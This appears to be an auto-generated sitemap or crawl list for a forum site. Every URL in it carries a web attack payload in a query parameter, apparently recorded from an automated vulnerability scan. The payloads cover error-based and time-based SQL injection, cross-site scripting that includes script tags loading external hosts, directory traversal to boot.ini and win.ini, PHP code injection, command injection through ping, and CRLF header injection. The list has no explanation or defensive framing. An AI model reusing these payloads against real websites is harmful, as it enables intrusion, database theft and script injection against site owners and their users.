http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%25'%20AND%2022=66%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%25'%20AND%2099=99%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(55=55)%20THEN%20'fastpost'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(91=31)%20THEN%20'fastpost'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%2527 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%2527%20AND%2024=24%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%2527%20AND%2078=85%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%5B%5D 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%5C%22 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%5C' 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%bf%27 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost' 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost'%20AND%20'eX'='p8 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost'%20AND%20'fH'='fH 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost'%20OR%20'6m'='6m'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(62=62)%20THEN%20'fastpost'%20ELSE%200x28%20END))%20AND%20'6L'='6L 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(96=11)%20THEN%20'fastpost'%20ELSE%200x28%20END))%20AND%20'mn'='mn 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost'%22 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost')%20AND%2027=27%20AND%20('aT'='aT 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost')%20AND%2099=14%20AND%20('0j'='0j 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(58=93)%20THEN%20'fastpost'%20ELSE%200x28%20END))%20AND%20('xc'='xc 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(95=95)%20THEN%20'fastpost'%20ELSE%200x28%20END))%20AND%20('3V'='3V 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost';%20IF(19=19)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost';%20IF(59=66)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost);%20IF(14=14)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost);%20IF(69=53)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost6633x3X6 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpostAND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpostJyI%3D 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpostalert(42873) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastposte360 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=file:///c:/boot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=194&replysubmit=yes&infloat=yes&handlekey=fastpost 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=%3Cdir 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=');print(md5(1122));// 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=(SELECT%20(CASE%20WHEN%20(58=66)%20THEN%200x7265706C79%20ELSE%2058*(SELECT%2058%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=................windowswin.ini 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=../../../../../../../../boot.ini%00.html 0.0001 